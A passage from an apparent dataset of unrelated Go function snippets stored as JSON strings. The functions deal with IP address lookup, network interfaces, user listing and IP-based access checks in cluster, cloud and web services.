operator.M{\"status\": clusterStatus})\n\tcond := operator.NewBranchCondition(operator.And, condProd, condStatus)\n\tclusterList, err := model.ListCluster(context.Background(), cond, &storeopt.ListOption{All: true})\n\tif err != nil {\n\t\tblog.Errorf(\"getAllIPList ListCluster failed: %v\", err)\n\t\treturn nil\n\t}\n\n\tipList := make(map[string]struct{})\n\tfor i := range clusterList {\n\t\tfor ip := range clusterList[i].Master {\n\t\t\tipList[ip] = struct{}{}\n\t\t}\n\t}\n\n\tcondIP := make(operator.M)\n\tcondIP[\"status\"] = common.StatusRunning\n\tcondP := operator.NewLeafCondition(operator.Eq, condIP)\n\tnodes, err := model.ListNode(context.Background(), condP, &storeopt.ListOption{All: true})\n\tif err != nil {\n\t\tblog.Errorf(\"getAllIPList ListNode failed: %v\", err)\n\t\treturn nil\n\t}\n\n\tfor i := range nodes {\n\t\tipList[nodes[i].InnerIP] = struct{}{}\n\t}\n\n\treturn ipList\n}", "func (a *CleanEniAction) getEniIPs() (pbcommon.ErrCode, string) {\n\texistedObjects, err := a.storeIf.ListIPObject(a.ctx, map[string]string{\n\t\tkube.CrdNameLabelsEni: a.req.EniID,\n\t})\n\tif err != nil {\n\t\treturn pbcommon.ErrCode_ERROR_CLOUD_NETSERVICE_STOREOPS_FAILED,\n\t\t\tfmt.Sprintf(\"list node ips failed, err %s\", err.Error())\n\t}\n\ta.ipObjs = existedObjects\n\treturn pbcommon.ErrCode_ERROR_OK, \"\"\n}", "func (service *HTTPRestService) getUnhealthyIPAddresses(w http.ResponseWriter, r *http.Request) {\n\tlog.Printf(\"[Azure CNS] getUnhealthyIPAddresses\")\n\tlog.Request(service.Name, \"getUnhealthyIPAddresses\", nil)\n\n\treturnMessage := \"\"\n\treturnCode := 0\n\tcapacity := 0\n\tavailable := 0\n\tvar unhealthyAddrs []string\n\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tic := service.ipamClient\n\n\t\tifInfo, err := service.imdsClient.GetPrimaryInterfaceInfoFromMemory()\n\t\tif err != nil {\n\t\t\treturnMessage = fmt.Sprintf(\"[Azure CNS] Error. GetPrimaryIfaceInfo failed %v\", err.Error())\n\t\t\treturnCode = UnexpectedError\n\t\t\tbreak\n\t\t}\n\n\t\tasID, err := ic.GetAddressSpace()\n\t\tif err != nil {\n\t\t\treturnMessage = fmt.Sprintf(\"[Azure CNS] Error. GetAddressSpace failed %v\", err.Error())\n\t\t\treturnCode = UnexpectedError\n\t\t\tbreak\n\t\t}\n\n\t\tpoolID, err := ic.GetPoolID(asID, ifInfo.Subnet)\n\t\tif err != nil {\n\t\t\treturnMessage = fmt.Sprintf(\"[Azure CNS] Error. GetPoolID failed %v\", err.Error())\n\t\t\treturnCode = UnexpectedError\n\t\t\tbreak\n\t\t}\n\n\t\tcapacity, available, unhealthyAddrs, err = ic.GetIPAddressUtilization(poolID)\n\t\tif err != nil {\n\t\t\treturnMessage = fmt.Sprintf(\"[Azure CNS] Error. GetIPUtilization failed %v\", err.Error())\n\t\t\treturnCode = UnexpectedError\n\t\t\tbreak\n\t\t}\n\t\tlog.Printf(\"[Azure CNS] Capacity %v Available %v UnhealthyAddrs %v\", capacity, available, unhealthyAddrs)\n\n\tdefault:\n\t\treturnMessage = \"[Azure CNS] Error. GetUnhealthyIP did not receive a POST.\"\n\t\treturnCode = InvalidParameter\n\t}\n\n\tresp := cns.Response{\n\t\tReturnCode: returnCode,\n\t\tMessage: returnMessage,\n\t}\n\n\tipResp := &cns.GetIPAddressesResponse{\n\t\tResponse: resp,\n\t\tIPAddresses: unhealthyAddrs,\n\t}\n\n\terr := service.Listener.Encode(w, &ipResp)\n\tlog.Response(service.Name, ipResp, resp.ReturnCode, ReturnCodeToString(resp.ReturnCode), err)\n}", "func (c Admin) checkAdminIP() revel.Result {\n remoteAddr := GetRemoteAddr(c.Controller)\n if !app.MyGlobal.IsAdminIP(remoteAddr) {\n c.Flash.Error(c.Message(\"error.require.signin\"))\n revel.WARN.Printf(\"%s is not in the admin ip list\", remoteAddr)\n return c.Redirect(routes.User.Signin())\n }\n return c.Result\n}", "func UsersBusy(thismeet User) error {\r\n\tcollection := client.Database(\"appointytask\").Collection(\"users\")\r\n\tctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)\r\n\tdefer cancel()\r\n\tvar meet User\r\n\tfor _, thisperson := range thismeet.Users {\r\n\t\tif thisperson.Password == \"Yes\" {\r\n\t\t\tfilter := bson.M{\r\n\t\t\t\t\"users.email\": thisperson.Email,\r\n\t\t\t\t\"users.password\": \"Yes\",\r\n\t\t\t\t\"endtime\": bson.M{\"$gt\": string(time.Now().Format(time.RFC3339))},\r\n\t\t\t}\r\n\t\t\tcursor, _ := collection.Find(ctx, filter)\r\n\t\t\tfor cursor.Next(ctx) {\r\n\t\t\t\tcursor.Decode(&meet)\r\n\t\t\t\tif (thismeet.Starttime >= meet.Starttime && thismeet.Starttime <= meet.Endtime) ||\r\n\t\t\t\t\t(thismeet.Endtime >= meet.Starttime && thismeet.Endtime <= meet.Endtime) {\r\n\t\t\t\t\treturnerror := \"Error 400: User \" + thisperson.Name + \" Password Clash\"\r\n\t\t\t\t\treturn errors.New(returnerror)\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn nil\r\n}", "func (udp *UdpServer) getItfIps(itf *net.Interface) ([]net.IP, error) {\n var ip net.IP\n var ips []net.IP\n\n addresses, err := itf.Addrs()\n if err != nil {\n return ips, err\n }\n\n for _, address := range addresses {\n switch v := address.(type) {\n case *net.IPNet:\n ip = v.IP\n case *net.IPAddr:\n ip = v.IP\n }\n }\n\n ip = ip.To4()\n if ip != nil {\n ips = append(ips, ip)\n }\n\n return ips, nil\n}", "func GetExternalIPs() (arr []ExternalIpRec) {\n\tExternalIpMutex.Lock()\n\tdefer ExternalIpMutex.Unlock()\n\n\tarr = make([]ExternalIpRec, 0, len(ExternalIp4)+1)\n\tvar arx *ExternalIpRec\n\n\tif external_ip := common.GetExternalIp(); external_ip != \"\" {\n\t\tvar a, b, c, d int\n\t\tif n, _ := fmt.Sscanf(external_ip, \"%d.%d.%d.%d\", &a, &b, &c, &d); n == 4 && (uint(a|b|c|d)&0xffffff00) == 0 {\n\t\t\tarx = new(ExternalIpRec)\n\t\t\tarx.IP = (uint32(a) << 24) | (uint32(b) << 16) | (uint32(c) << 8) | uint32(d)\n\t\t\tarx.Cnt = 1e6\n\t\t\tarx.Tim = uint(time.Now().Unix()) + 60\n\t\t\tarr = append(arr, *arx)\n\t\t}\n\t}\n\n\tif len(ExternalIp4) > 0 {\n\t\tfor ip, rec := range ExternalIp4 {\n\t\t\tif arx != nil && arx.IP == ip {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tarr = append(arr, ExternalIpRec{IP: ip, Cnt: rec[0], Tim: rec[1]})\n\t\t}\n\n\t\tif len(arr) > 1 {\n\t\t\tsort.Slice(arr, func(i, j int) bool {\n\t\t\t\tif arr[i].Cnt > 3 && arr[j].Cnt > 3 || arr[i].Cnt == arr[j].Cnt {\n\t\t\t\t\treturn arr[i].Tim > arr[j].Tim\n\t\t\t\t}\n\t\t\t\treturn arr[i].Cnt > arr[j].Cnt\n\t\t\t})\n\t\t}\n\t}\n\n\treturn\n}", "func (n *Notifier) getCurrentDayNonReporters(channelID string) ([]model.StandupUser, error) {\n\ttimeFrom := time.Date(time.Now().Year(), time.Now().Month(), time.Now().Day(), 0, 0, 0, 0, time.UTC)\n\tnonReporters, err := n.DB.GetNonReporters(channelID, timeFrom, time.Now())\n\tif err != nil && err != errors.New(\"no rows in result set\") {\n\t\tlogrus.Errorf(\"notifier: GetNonReporters failed: %v\\n\", err)\n\t\treturn nil, err\n\t}\n\treturn nonReporters, nil\n}", "func getIPRangesForPort(isAllow bool, sg secGroup, myIP string, userName *string, port int64) (ipr []*ec2.IpRange) {\n\tif isAllow {\n\t\tif !strings.Contains(myIP, \"/\") {\n\t\t\tmyIP += \"/32\"\n\t\t}\n\t\tfor _, cidr := range sg.portToMyIPs[port] {\n\t\t\tif cidr == myIP {\n\t\t\t\tout.Highlight(out.WARN, \"skipping existing access for %s - IP %s to port %s in SG %s (%s)\", *userName, cidr, strconv.Itoa(int(port)), sg.name, sg.id)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tipr = append(ipr, &ec2.IpRange{\n\t\t\tCidrIp: aws.String(myIP),\n\t\t\tDescription: aws.String(*userName),\n\t\t})\n\t} else {\n\t\tfor _, cidr := range sg.portToMyIPs[port] {\n\t\t\tipr = append(ipr, &ec2.IpRange{\n\t\t\t\tCidrIp: aws.String(cidr),\n\t\t\t\tDescription: aws.String(*userName),\n\t\t\t})\n\t\t}\n\t}\n\treturn\n}", "func (u *MockUserRecord) NumLoginDays() int { return 0 }", "func extractNodesExternalIps(nodes []*v1.Node) []string {\n\tvar nodesList []string\n\tfor _, node := range nodes {\n\t\tfor _, address := range node.Status.Addresses {\n\t\t\tif address.Type == v1.NodeExternalIP {\n\t\t\t\tnodesList = append(nodesList, address.Address)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nodesList\n}", "func getAllNonExpiredUFA(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\n\tlogger.Info(\"getAllNonExiredUFA called\")\n\twho := args[0]\n\n\trecordsList, err := getAllRecordsList(stub)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Unable to get all the UFA records records \")\n\t}\n\tvar outputRecords []map[string]interface{}\n\toutputRecords = make([]map[string]interface{}, 0)\n\tfor _, ufanumber := range recordsList {\n\t\tlogger.Info(\"getAllNonExpiredUFA: Processing UFA for \" + ufanumber)\n\t\trecBytes, _ := stub.GetState(ufanumber)\n\t\tvar ufaRecord map[string]interface{}\n\t\tjson.Unmarshal(recBytes, &ufaRecord)\n\n\t\tif (ufaRecord[\"sellerApprover\"].(map[string]interface{})[\"emailid\"] == who || ufaRecord[\"buyerApprover\"].(map[string]interface{})[\"emailid\"] == who) && ufaRecord[\"status\"].(string) == \"Agreed\" && !isUFAExpired(ufaRecord) {\n\t\t\toutputRecords = append(outputRecords, ufaRecord)\n\t\t}\n\t}\n\toutputBytes, _ := json.Marshal(outputRecords)\n\tlogger.Info(\"Returning records from getAllNonExiredUFA \" + string(outputBytes))\n\treturn outputBytes, nil\n}", "func (j *JoinHelper) getAllIPs () ([]string, error){\n\n\tvpnName := j.getVPNNicName()\n\tips := make ([]string, 0)\n\n\tinterfaces, err := net.Interfaces()\n\tif err != nil {\n\t\treturn ips, err\n\t}\n\tfor _, iface := range interfaces {\n\t\tif iface.Name != vpnName {\n\t\t\taddresses, err := iface.Addrs()\n\t\t\tif err != nil {\n\t\t\t\treturn ips, err\n\t\t\t}\n\t\t\tfor _, addr := range addresses {\n\t\t\t\tnetIP, ok := addr.(*net.IPNet)\n\t\t\t\tif ok && !netIP.IP.IsLoopback() && netIP.IP.To4() != nil {\n\t\t\t\t\tip := netIP.IP.String()\n\t\t\t\t\tips = append(ips, ip)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn ips, nil\n}", "func LoginNotIn(vs ...string) predicate.User {\n\treturn predicate.User(sql.FieldNotIn(FieldLogin, vs...))\n}", "func (u *UserInfoLDAPSource) getallUsersNonCached() ([]string, error) {\n\tsearchPaths := []string{u.UserSearchBaseDNs, u.ServiceAccountBaseDNs}\n\tconn, err := u.getTargetLDAPConnection()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn nil, err\n\t}\n\tdefer conn.Close()\n\n\tvar AllUsers []string\n\tAttributes := []string{\"uid\"}\n\tfor _, searchPath := range searchPaths {\n\t\tsearchrequest := ldap.NewSearchRequest(searchPath, ldap.ScopeWholeSubtree,\n\t\t\tldap.NeverDerefAliases, 0, 0, false, u.UserSearchFilter, Attributes, nil)\n\t\tt0 := time.Now()\n\t\tresult, err := conn.SearchWithPaging(searchrequest, pageSearchSize)\n\t\tt1 := time.Now()\n\t\tlog.Printf(\"GetallUsers search Took %v to run\", t1.Sub(t0))\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(result.Entries) == 0 {\n\t\t\tlog.Println(\"No records found\")\n\t\t\treturn nil, errors.New(\"No records found\")\n\t\t}\n\t\tfor _, entry := range result.Entries {\n\t\t\tuid := entry.GetAttributeValue(\"uid\")\n\t\t\tAllUsers = append(AllUsers, uid)\n\t\t}\n\t}\n\n\treturn AllUsers, nil\n}", "func IPAddressNotIn(vs ...string) predicate.OnlineSession {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.OnlineSession(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldIPAddress), v...))\n\t})\n}", "func (rhost *rhostData) getIPs() (ips []string, err error) {\n\tifaces, err := net.Interfaces()\n\tif err != nil {\n\t\treturn\n\t}\n\tfor _, i := range ifaces {\n\t\taddrs, err := i.Addrs()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, addr := range addrs {\n\t\t\tvar ip net.IP\n\t\t\tswitch v := addr.(type) {\n\t\t\tcase *net.IPNet:\n\t\t\t\tip = v.IP\n\t\t\tcase *net.IPAddr:\n\t\t\t\tip = v.IP\n\t\t\t}\n\t\t\ta := ip.String()\n\t\t\t// Check ipv6 address add [] if ipv6 allowed and\n\t\t\t// skip this address if ipv6 not allowed\n\t\t\tif strings.IndexByte(a, ':') >= 0 {\n\t\t\t\tif !rhost.teo.param.IPv6Allow {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\ta = \"[\" + a + \"]\"\n\t\t\t}\n\t\t\tips = append(ips, a)\n\t\t}\n\t}\n\treturn\n}", "func validateIPAllowlist(l *protocol.AuthIPWhitelist) error {\n\tfor _, subnet := range l.Subnets {\n\t\tif _, _, err := net.ParseCIDR(subnet); err != nil {\n\t\t\treturn fmt.Errorf(\"bad subnet %q - %s\", subnet, err)\n\t\t}\n\t}\n\treturn nil\n}", "func NodeInternalIP(node *api.Node) string {\n\tfor _, addr := range node.Status.Addresses {\n\t\tif addr.Type == api.NodeInternalIP {\n\t\t\treturn addr.Address\n\t\t}\n\t}\n\treturn \"\"\n}", "func getIPRangesForPort(isAllow bool, sg secGroup, myIP, sshUser string, port int64) (ipr []*ec2.IpRange) {\n\tif isAllow {\n\t\tif !strings.Contains(myIP, \"/\") {\n\t\t\tmyIP += \"/32\"\n\t\t}\n\t\tfor _, cidr := range sg.portToMyIPs[port] {\n\t\t\tif cidr == myIP {\n\t\t\t\tout.Highlight(out.WARN, \"skipping existing access for %s - IP %s to port %s in SG %s (%s)\", sshUser, cidr, strconv.Itoa(int(port)), sg.name, sg.id)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tipr = append(ipr, &ec2.IpRange{\n\t\t\tCidrIp: aws.String(myIP),\n\t\t\tDescription: aws.String(sshUser),\n\t\t})\n\t} else {\n\t\tfor _, cidr := range sg.portToMyIPs[port] {\n\t\t\tipr = append(ipr, &ec2.IpRange{\n\t\t\t\tCidrIp: aws.String(cidr),\n\t\t\t\tDescription: aws.String(sshUser),\n\t\t\t})\n\t\t}\n\t}\n\treturn\n}", "func AuthInternalOnly() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tip := c.ClientIP()\n\t\tif !checkInternal(ip) {\n\t\t\tlog.Println(\"rejected IP:\", ip)\n\t\t\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\n\t\t\t\t\"code\": http.StatusUnauthorized,\n\t\t\t\t\"message\": \"tisk tisk tisk\",\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\tc.Next()\n\t}\n}", "func privateNetworkInterfaces(all []net.Interface, fallback []string, logger log.Logger) []string {\n\tvar privInts []string\n\tfor _, i := range all {\n\t\taddrs, err := getInterfaceAddrs(&i)\n\t\tif err != nil {\n\t\t\tlevel.Warn(logger).Log(\"msg\", \"error getting addresses from network interface\", \"interface\", i.Name, \"err\", err)\n\t\t}\n\t\tfor _, a := range addrs {\n\t\t\ts := a.String()\n\t\t\tip, _, err := net.ParseCIDR(s)\n\t\t\tif err != nil {\n\t\t\t\tlevel.Warn(logger).Log(\"msg\", \"error parsing network interface IP address\", \"interface\", i.Name, \"addr\", s, \"err\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif ip.IsPrivate() {\n\t\t\t\tprivInts = append(privInts, i.Name)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif len(privInts) == 0 {\n\t\treturn fallback\n\t}\n\treturn privInts\n}", "func GetPotentialAddresses(ip string) ([]string, error) {\n\ta := net.ParseIP(ip).To4()\n\tl := []string{}\n\tif a != nil {\n\t\tfor i := 2; i < 255; i++ {\n\t\t\ta[3] = byte(i)\n\t\t\tl = append(l, a.String())\n\t\t}\n\t}\n\treturn l, nil\n}", "func (sd *StreamData) AuthorizeWhere() {\n\tvar notAuthorize bool\n\tfor _, ip := range sd.ConnectionData.AccessControl.Where {\n\t\t// TODO : ip may contain zero padding!! org may restricted user to isp not subnet nor even device!!\n\t\tif ip == sd.UIP.SourceIPAddress {\n\t\t\tnotAuthorize = false\n\t\t\tbreak\n\t\t} else {\n\t\t\tnotAuthorize = true\n\t\t}\n\t}\n\tif notAuthorize == true {\n\t\t// sd.Err =\n\t\treturn\n\t}\n}", "func (m *MgoUserManager) FindAllUserOnline(offsetId interface{}, limit int) (\n\t[]*auth.User, error) {\n\treturn m.findAllUser(offsetId, limit, bson.M{\n\t\t\"LastActivity\": bson.M{\"$lt\": time.Now().Add(m.OnlineThreshold)},\n\t})\n}", "func (r Virtual_Guest) GetNetworkComponentFirewallProtectableIpAddresses() (resp []datatypes.Network_Subnet_IpAddress, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getNetworkComponentFirewallProtectableIpAddresses\", nil, &r.Options, &resp)\n\treturn\n}", "func getInternalIP(node *v1.Node) (string, error) {\n\tfor _, address := range node.Status.Addresses {\n\t\tif address.Type == v1.NodeInternalIP && address.Address != \"\" {\n\t\t\treturn address.Address, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"couldn't get the internal IP of host %s with addresses %v\", node.Name, node.Status.Addresses)\n}", "func ComputeDatastoreIgnoreMap(authManager *AuthManager, authCheckInterval int) {\n\tlog := logger.GetLoggerWithNoContext()\n\tlog.Info(\"auth manager: ComputeDatastoreIgnoreMap enter\")\n\tticker := time.NewTicker(time.Duration(authCheckInterval) * time.Minute)\n\tfor range ticker.C {\n\t\tauthManager.refreshDatastoreIgnoreMap()\n\t}\n}", "func ValidateIP(r *http.Request, allow string, block string) bool {\n\tallowed := false\n\tallowSize := uint32(0)\n\n\tallowList := strings.Split(allow, \",\")\n\tfor _, net := range allowList {\n\t\tif v, size := requestInNet(r, net); v {\n\t\t\tallowed = true\n\t\t\tif size > allowSize {\n\t\t\t\tallowSize = size\n\t\t\t}\n\t\t}\n\t}\n\n\tblockList := strings.Split(block, \",\")\n\tfor _, net := range blockList {\n\t\tif v, size := requestInNet(r, net); v {\n\t\t\tif size > allowSize {\n\t\t\t\tallowed = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif !allowed {\n\t\tIncrementMetric(\"uadmin/security/blockedip\")\n\t}\n\treturn allowed\n}", "func (action ReportAction) GetNon2StepVerifiedUsers() error {\n\treport, err := action.report.Get2StepVerifiedStatusReport()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(report.UsageReports) == 0 {\n\t\treturn errors.New(\"No Report Available\")\n\t}\n\n\tvar paramIndex int\n\tfmt.Println(\"Latest Report: \" + report.UsageReports[0].Date)\n\tfor i, param := range report.UsageReports[0].Parameters {\n\t\t// https://developers.google.com/admin-sdk/reports/v1/guides/manage-usage-users\n\t\t// Parameters: https://developers.google.com/admin-sdk/reports/v1/reference/usage-ref-appendix-a/users-accounts\n\t\tif param.Name == \"accounts:is_2sv_enrolled\" {\n\t\t\tparamIndex = i\n\t\t\tbreak\n\t\t}\n\t}\n\n\tfor _, r := range report.UsageReports {\n\t\tif !r.Parameters[paramIndex].BoolValue {\n\t\t\tfmt.Println(r.Entity.UserEmail)\n\t\t}\n\t}\n\n\treturn nil\n}", "func netLimits(n *net.IPNet) (lo net.IP, hi net.IP) {\n\tones, bits := n.Mask.Size()\n\tnetNum := n.IP\n\tif bits == net.IPv4len*8 {\n\t\tnetNum = netNum.To16()\n\t\tones += 8 * (net.IPv6len - net.IPv4len)\n\t}\n\tmask := net.CIDRMask(ones, 8*net.IPv6len)\n\tlo = make(net.IP, net.IPv6len)\n\thi = make(net.IP, net.IPv6len)\n\tfor i := 0; i < net.IPv6len; i++ {\n\t\tlo[i] = netNum[i] & mask[i]\n\t\thi[i] = lo[i] | ^mask[i]\n\t}\n\treturn lo, hi\n}", "func IsForbidden(ip string) bool {\n\tforbidden := map[string]bool{\n\t\t\"\": true,\n\t\t\"0.0.0.0\": true,\n\t\t\"::\": true,\n\t\t\"0:0:0:0:0:0:0:0\": true,\n\t}\n\treturn forbidden[ip]\n}", "func GetAllUserLoginIps(query map[string]string, fields []string, sortby []string, order []string,\n\toffset int64, limit int64) (ml []UserLoginIps, err error) {\n\to := orm.NewOrm()\n\tqs := o.QueryTable(new(UserLoginIps))\n\t// query k=v\n\tfor k, v := range query {\n\t\t// rewrite dot-notation to Object__Attribute\n\t\tk = strings.Replace(k, \".\", \"__\", -1)\n\t\tif strings.Contains(k, \"isnull\") {\n\t\t\tqs = qs.Filter(k, (v == \"true\" || v == \"1\"))\n\t\t} else {\n\t\t\tqs = qs.Filter(k, v)\n\t\t}\n\t}\n\t// order by:\n\tvar sortFields []string\n\tif len(sortby) != 0 {\n\t\tif len(sortby) == len(order) {\n\t\t\t// 1) for each sort field, there is an associated order\n\t\t\tfor i, v := range sortby {\n\t\t\t\torderby := \"\"\n\t\t\t\tif order[i] == \"desc\" {\n\t\t\t\t\torderby = \"-\" + v\n\t\t\t\t} else if order[i] == \"asc\" {\n\t\t\t\t\torderby = v\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, errors.New(\"Error: Invalid order. Must be either [asc|desc]\")\n\t\t\t\t}\n\t\t\t\tsortFields = append(sortFields, orderby)\n\t\t\t}\n\t\t\tqs = qs.OrderBy(sortFields...)\n\t\t} else if len(sortby) != len(order) && len(order) == 1 {\n\t\t\t// 2) there is exactly one order, all the sorted fields will be sorted by this order\n\t\t\tfor _, v := range sortby {\n\t\t\t\torderby := \"\"\n\t\t\t\tif order[0] == \"desc\" {\n\t\t\t\t\torderby = \"-\" + v\n\t\t\t\t} else if order[0] == \"asc\" {\n\t\t\t\t\torderby = v\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, errors.New(\"Error: Invalid order. Must be either [asc|desc]\")\n\t\t\t\t}\n\t\t\t\tsortFields = append(sortFields, orderby)\n\t\t\t}\n\t\t} else if len(sortby) != len(order) && len(order) != 1 {\n\t\t\treturn nil, errors.New(\"Error: 'sortby', 'order' sizes mismatch or 'order' size is not 1\")\n\t\t}\n\t} else {\n\t\tif len(order) != 0 {\n\t\t\treturn nil, errors.New(\"Error: unused 'order' fields\")\n\t\t}\n\t}\n\n\tqs = qs.OrderBy(sortFields...)\n\tif _, err = qs.Limit(limit, offset).All(&ml, fields...); err == nil {\n\t\treturn ml, nil\n\t}\n\treturn nil, err\n}", "func getMyIP() ([]string, error) {\n\tifaces, err := net.Interfaces()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trv := []string{}\n\tfor _, iface := range ifaces {\n\t\taddrs, err := iface.Addrs()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, addr := range addrs {\n\t\t\tvar ip net.IP\n\t\t\tswitch v := addr.(type) {\n\t\t\tcase *net.IPNet:\n\t\t\t\tip = v.IP\n\t\t\tcase *net.IPAddr:\n\t\t\t\tip = v.IP\n\t\t\t}\n\t\t\trv = append(rv, ip.String())\n\t\t}\n\t}\n\treturn rv, nil\n}", "func InternalIP() string {\n\tinters, err := net.Interfaces()\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\tfor _, inter := range inters {\n\t\tif !strings.HasPrefix(inter.Name, \"lo\") {\n\t\t\taddrs, err := inter.Addrs()\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, addr := range addrs {\n\t\t\t\tif ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {\n\t\t\t\t\tif ipnet.IP.To4() != nil {\n\t\t\t\t\t\treturn ipnet.IP.String()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\"\n}", "func NewGetIOAUsersForbidden() *GetIOAUsersForbidden {\n\treturn &GetIOAUsersForbidden{}\n}", "func logNetworkInterfaces() {\n\tinterfaces, err := net.Interfaces()\n\tif err != nil {\n\t\tlogger.Error(err.Error())\n\t\treturn\n\t}\n\treg := regexp.MustCompile(\"^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\")\n\tfor _, i := range interfaces {\n\t\tbyName, err := net.InterfaceByName(i.Name)\n\t\tif err != nil {\n\t\t\tlogger.Warn(err.Error())\n\t\t}\n\t\terr = nil\n\t\taddresses, err := byName.Addrs()\n\t\tfor _, v := range addresses {\n\t\t\tipv4 := v.String()\n\t\t\tif reg.MatchString(ipv4) {\n\t\t\t\tlogger.Trace(ipv4)\n\t\t\t\tif strings.Index(ipv4, \"127.0.\") != 0 {\n\t\t\t\t\tidx := strings.Index(ipv4, \"/\")\n\t\t\t\t\tif idx > 0 {\n\t\t\t\t\t\tipAddress = ipv4[0:idx]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tipAddress = ipv4\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "func ipSpan(ipnet *net.IPNet) (minIP, maxIP uint32) {\n\tminIP = binary.BigEndian.Uint32(ipnet.IP.To4()) + 1\n\tmaxIP = minIP + (^binary.BigEndian.Uint32(ipnet.Mask)) - 2\n\treturn minIP, maxIP\n}", "func (list Users) GetInvalidIds() []string {\n\tinvalidIds := []string{}\n\tidsWithIdenticalValues := list.getIdsWithIdenticalValues()\n\tinvalidIds = append(invalidIds, idsWithIdenticalValues...)\n\tidsWithEmptyValues := list.getIdsWithEmptyValues()\n\tinvalidIds = append(invalidIds, idsWithEmptyValues...)\n\treturn invalidIds\n}", "func (m *kubeGenericRuntimeManager) determinePodSandboxIPs(podNamespace, podName string, podSandbox *runtimeapi.PodSandboxStatus) []string {\n\tpodIPs := make([]string, 0)\n\tif podSandbox.Network == nil {\n\t\tklog.InfoS(\"Pod Sandbox status doesn't have network information, cannot report IPs\", \"pod\", klog.KRef(podNamespace, podName))\n\t\treturn podIPs\n\t}\n\n\t// ip could be an empty string if runtime is not responsible for the\n\t// IP (e.g., host networking).\n\n\t// pick primary IP\n\tif len(podSandbox.Network.Ip) != 0 {\n\t\tif netutils.ParseIPSloppy(podSandbox.Network.Ip) == nil {\n\t\t\tklog.InfoS(\"Pod Sandbox reported an unparseable primary IP\", \"pod\", klog.KRef(podNamespace, podName), \"IP\", podSandbox.Network.Ip)\n\t\t\treturn nil\n\t\t}\n\t\tpodIPs = append(podIPs, podSandbox.Network.Ip)\n\t}\n\n\t// pick additional ips, if cri reported them\n\tfor _, podIP := range podSandbox.Network.AdditionalIps {\n\t\tif nil == netutils.ParseIPSloppy(podIP.Ip) {\n\t\t\tklog.InfoS(\"Pod Sandbox reported an unparseable additional IP\", \"pod\", klog.KRef(podNamespace, podName), \"IP\", podIP.Ip)\n\t\t\treturn nil\n\t\t}\n\t\tpodIPs = append(podIPs, podIP.Ip)\n\t}\n\n\treturn podIPs\n}", "func validateIpOverlap(d *db.DB, intf string, ipPref string, tblName string) (string, error) {\n log.Info(\"Checking for IP overlap ....\")\n\n ipA, ipNetA, err := net.ParseCIDR(ipPref)\n if err != nil {\n log.Info(\"Failed to parse IP address: \", ipPref)\n return \"\", err\n }\n\n var allIntfKeys []db.Key\n\n for key, _ := range IntfTypeTblMap {\n intTbl := IntfTypeTblMap[key]\n keys, err := d.GetKeys(&db.TableSpec{Name:intTbl.cfgDb.intfTN})\n if err != nil {\n log.Info(\"Failed to get keys; err=%v\", err)\n return \"\", err\n }\n allIntfKeys = append(allIntfKeys, keys...)\n }\n\n if len(allIntfKeys) > 0 {\n for _, key := range allIntfKeys {\n if len(key.Comp) < 2 {\n continue\n }\n ipB, ipNetB, perr := net.ParseCIDR(key.Get(1))\n //Check if key has IP, if not continue\n if ipB == nil || perr != nil {\n continue\n }\n if ipNetA.Contains(ipB) || ipNetB.Contains(ipA) {\n if log.V(3) {\n log.Info(\"IP: \", ipPref, \" overlaps with \", key.Get(1), \" of \", key.Get(0))\n }\n //Handle IP overlap across different interface, reject if in same VRF\n intfType, _, ierr := getIntfTypeByName(key.Get(0))\n if ierr != nil {\n log.Errorf(\"Extracting Interface type for Interface: %s failed!\", key.Get(0))\n return \"\", ierr\n }\n intTbl := IntfTypeTblMap[intfType]\n if intf != key.Get(0) {\n vrfNameA, _ := d.GetMap(&db.TableSpec{Name:tblName+\"|\"+intf}, \"vrf_name\")\n vrfNameB, _ := 